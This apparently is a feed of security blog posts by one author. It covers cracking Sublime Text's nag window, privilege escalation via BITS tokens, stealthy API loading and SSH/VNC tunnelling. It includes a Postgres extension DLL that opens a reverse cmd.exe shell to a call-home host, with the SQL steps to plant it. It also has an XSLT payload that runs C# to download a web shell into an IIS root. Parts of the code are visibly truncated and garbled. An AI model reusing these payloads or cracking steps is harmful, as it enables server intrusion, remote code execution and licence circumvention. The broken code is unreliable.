There are new articles available, click to refresh the page.

Removing Sublime Text Nag Window

By: zerosum0x0 β€”
I contemplated releasing this blog post earlier, and now that everyone has moved on from Sublime Text to Atom there's really no reason not to push it out. This is posted purely for educational purposes.

Everyone who has used the free version of Sublime Text knows that when you go to save a file, it will randomly show a popup asking you to buy the software. This is known as a "nag window".

The first time I saw it, I knew it had to be cracked. Just pop open the sublime_text.exe file in IDA Pro and search for the string.

We find a match, and IDA tells us where it is cross referenced.

We open the function that uses these .rdata bytes and see that it checks some globals, and performs a call to rand(). If any of the checks fail it will display the popup. The function itself is only about 20 lines of pretty basic assembly but we decompile it anyway because the screenshot is cooler that way.

We open the hex view to see what the hex code for the start of the function looks like.

Next we open sublime_text.exe in Hex Workshop and search for the hex string that matches the assembly.

Finally, we patch the beginning of the function with the assembly opcode c3, which will cause the function to immediately return.

After saving, there will be no more nag window. As an exercise to the reader, try to make Sublime think you have a registered copy.


Windows DLL to Shell PostgreSQL Servers

By: zerosum0x0 β€”
On Linux systems, you can include system() from the standard C library to easily shell a Postgres server. The mechanism for Windows is a bit more complicated.

I have created a Postgres extension (Windows DLL) that you can load which contains a reverse shell. You will need file write permissions (i.e. postgres user). If the PostgreSQL port (5432) is open, try logging on as postgres with no password. The payload is in DllMain and will run even if the extension is not properly loaded. You can upgrade to meterpreter or other payloads from here.


#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")


#pragma warning(push)
#pragma warning(disable: 4996)

_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;

char *program = "cmd.exe";
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */


Datum dummy_function(PG_FUNCTION_ARGS)
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);

Here is the convoluted process of exploitation:
postgres=# CREATE TABLE hextable (hex bytea);
postgres=# CREATE TABLE lodump (lo OID);

[email protected]:~/$ echo "INSERT INTO hextable (hex) VALUES
(decode('`xxd -p pg_revshell.dll | tr -d '\n'`', 'hex'));" > sql.txt
[email protected]:~/$ psql -U postgres --host=localhost --file=sql.txt

postgres=# INSERT INTO lodump SELECT hex FROM hextable;
postgres=# SELECT * FROM lodump;
(1 row)
postgres=# SELECT lo_export(16409, 'C:\Program Files\PostgreSQL\9.5\Bin\pg_revshell.dll');
postgres=# CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS
'C:\Program Files\PostgreSQL\9.5\binpg_revshell.dll', 'dummy_function' LANGUAGE C STRICT;

XML Attack for C# Remote Code Execution

By: zerosum0x0 β€”

For whatever reason, Microsoft decided XML needed to be Turing complete. They created an XSL schema which allows for C# code execution in order to fill in the value of an XML element.

If an ASP.NET web application parses XML, it may be susceptible to this attack. If vulnerable, an attacker gains remote code execution on the web server. Crazy right? It is similar in exploitation as traditional XML Entity Expansion (XXE) attacks. Gaining direct code execution with traditional XXE requires extremely rare edge cases where certain protocols are supported by the server. This is more straight forward: supply whatever C# you want to run.

The payload in this example XML document downloads a web shell into the IIS web root. Of course, you can craft a more sophisticated payload, or perhaps just download and run some malware (such as msfvenom/meterpreter). In many cases of a successful exploitation, and depending on the application code, the application may echo out the final string "Exploit Success" in the HTTP response.

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
<msxsl:script language="C#" implements-prefix="user">
public string xml()
System.Net.WebClient webClient = new System.Net.WebClient();

return "Exploit Success";
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>

Note: I've never gotten the "using" directive to work correctly, but have found the fully qualified namespaces of the classes (e.g. System.Net.WebClient) works fine.

This is kind of a hidden gem, it was hard to find good information about this.

Thanks to Martin Bajanik for finding this information: this attack is possible when XsltSettings.EnableScript is set to true, but it is false by default.


LoadLibrary() and GetProcAddress() replacements for x86, x64, and ARM

By: zerosum0x0 β€”

I was attempting to reduce the number of records in the Import Address Table of an executable, which of course meant a replacement for LoadLibrary() and GetProcAddress() were needed. I couldn't find a version online that worked for x86, x64, and ARM; so I ended up writing one. Even being mostly familiar with the PE format and Windows internals in general, there were a few caveats that led to an annoying debug session (such as forward exports).

Here is a working replacement for the two APIs. You can even define the PE header and PEB structs in your own header and lose the requirement for the default Windows headers. I also recommend a crypter for the strings you pass to these functions.


Note: This will internally rely on Kernel32.dll being loaded, and will calculate the real location of LoadLibrary() dynamically. New DLLs will be mapped in with the real API call, this does not code does not do manual mapping or calling of DllMain. I recommend using it to get the real addresses of LoadLibrary() and GetProcAddress() and then doing all calls through the real APIs.


BITS Manipulation: Stealing SYSTEM Tokens as a Normal User

By: zerosum0x0 β€”

The Background Intelligent Transfer Service (BITS) is a Windows system service that facilitates file transfers between clients and servers, and serves as a backbone component for Windows Update. The service comes pre-installed on all modern versions of Windows, and is available in versions as early as Windows 2000 with service pack updates. There are ways for a non-Administrator user to manipulate the service into providing an Identification Token with the LUID of 999 (0x3e7), or the NT AUTHORITY\SYSTEM (Local System) root-equivalent user.

BITS Manipulation is a pre-stage to modern privilege escalation attacks.

BITS Manipulation is not a full exploit per se, but rather a pre-stage to local (and possibly remote) privilege escalation with a crafted executable. Identification Tokens can only lead to arbitrary code execution in the prescence of secondary Improper Access Control (CWE-284) vulnerabilities. Google's Project Zero has proved a number of full exploits using the technique. There are currently no known plans for Microsoft to fix this. Details for performing it and why it works remain exceptionally scarce.

Windows Tokens

Every user-mode thread on Windows executes with a Token, which is used as its security identifier by the kernel in order to determine access rights during system calls. When a user starts a process, the Primary Token for that process becomes one which represents the access rights of that user. Individual threads within the process are allowed to change their security context from the Primary Token through the use of Impersonation Tokens, which come in different privilege levels and can allow code execution in the context of a different user.

Impersonation tokens are used throughout Windows in order to delegate responsibilities between users and the OS default users such as Local System, Local Service, and Network Service. For instance, a server process running as Network Service can impersonate a client user and perform actions on that user's behalf. It is extremely common and not suspicious behavior for a process to have multiple tokens open at any given time.

Token Impersonation Levels

A normal user obtaining an Identification Token as Local System is not necessarily an exploit in and of itself (some would argue, but at least not in the eyes of Microsoft). To understand why, a review of Token Impersonation Levels is required.

BITS Manipulation and similar techniques only provide a SecurityIdentification Token for SYSTEM. This is useful for a number of tasks, but it still does not allow arbitrary code execution in the context of that user. Ordinarily, in order to achieve code execution as SYSTEM, the Token would need to be an Impersonation Token with the SecurityImpersonation or SecurityDelegation privilege.

Identification-Only Exploitation

There are a number of vulnerabilities in Windows where the Impersonation Level is not properly validated, such as in MS15-001, MS15-015, and MS15-050. These vulnerabilities failed to check if the Token Impersonation Level was sufficiently privileged before allowing arbitrary code execution in the context of the user.

Here is a (simplified) reverse engineering of services.exe prior to the MS15-050 patch:

Before MS15-050 Patch: The calling thread's Token is checked to see if it is run as SYSTEM, or LUID 999.

With the background information above, the bug is easy to spot. Here is the same code after the patch:

After MS15-050 Patch: The Impersonation Level is now correctly verified before the SYSTEM check.

It should now be apparent why a normal user attempting to escalate privileges would want a SYSTEM Token, even if it is only of the SecurityIdentification privilege. There are countless token access control vulnerabilities already discovered, and more likely to be found.

BITS Manipulation Methodology

BITS, by default, is an automatically started Windows service which logs on as Local System. While the service is primarily used for uploading and downloading files between machines, it is also possible to create a BITS server which services the local machine context. When a download is queued, the BITS service connects to the server as the SYSTEM user.

Forcing a BITS download to an attacker-controlled BITS server allows capture of a SYSTEM token.

Here is the general methodology, which can be performed as a non-Administrator user on the machine:

  1. Create a BITS server with a local context.
  2. Launch a BITS download job, causing SYSTEM to start a client to the local BITS server.
  3. Capture SYSTEM's token when it interacts with the server.

BITS Manipulation Implementation

BITS is served on top of Microsoft's Component Object Model (COM). COM is a topic of extensive study, but it is essentially a language-neutral object-oriented binary-interface which is an arguable precursor to .NET. Remnants of COM objects are found in various areas throughout the system, including inter-process (and inter-network) communications with network and local services. BITS Manipulation is fairly straightforward to implement for a software engineer familiar with the aforementioned methodology, BITS documentation, and experience using COM.

There is an already-written implementation that is available in Metasploit under exploit/windows/local/ntapphelpcachecontrol (MS15-001). The C++ source code offers a simple drop-in implementation for future proof-of-concepts, uncredited but likely written by James Forshaw of Google's Project Zero.


Setting Up a Remote Desktop Behind Firewall

By: zerosum0x0 β€”
Scenario: You are at a client site, and want to be able to securely check on pentest scans from your hotel room.

There are three computers in this setup, which takes about 5 minutes.
  1. The laptop on the client network (the VNC server)
  2. The laptop you want to connect to the remote desktop with (the VNC client)
  3. A flagpole server (Internet-facing SSH server)

Localhost port forwards managed by the Flagpole server sets up a secure tunnel between the machines.

No new ports will be externally exposed on any of the machines, and all network traffic will be encrypted through SSH. This method is preferable to other remote desktop solutions such as TeamViewer, where essentially the Flagpole server is controlled by a third party. For extra security, you can run your Flagpole SSH daemon on a high port and enforce certificate-based authentication.

This guide is for Linux, but the general methodology is probably possible on Windows using TigerVNC and PuTTY.

Step 1: Bind VNC Server to the Flagpole

On the VNC server machine (scanner laptop), issue the following commands:
tmux new
x11vnc -localhost [-forever]
<ctrl+b, c>
ssh -R XXXXX:localhost:5900 [email protected]

Replace XXXXX with an unused port on Flagpole. Note that it is also possible to set a password for the x11vnc server. x11vnc defaults to port 5900, but can be changed with i.e. x11vnc -rfbport ###. This port is now forwarded by the port you assigned on the Flagpole.

Step 2: Bind Flagpole to VNC Client

On the VNC client (from your hotel room)

tmux new
ssh -L 5900:localhost:XXXXX [email protected]

Where XXXXX is the port you bound on Flagpole. This forwards port 5900 on your local machine to the port you assigned on Flagpole.

Step 3: Connect VNC Client to VNC Server

Now, open your VNC software (vinagre/vncviewer/etc.) and connect to localhost:5900
  • There are no more articles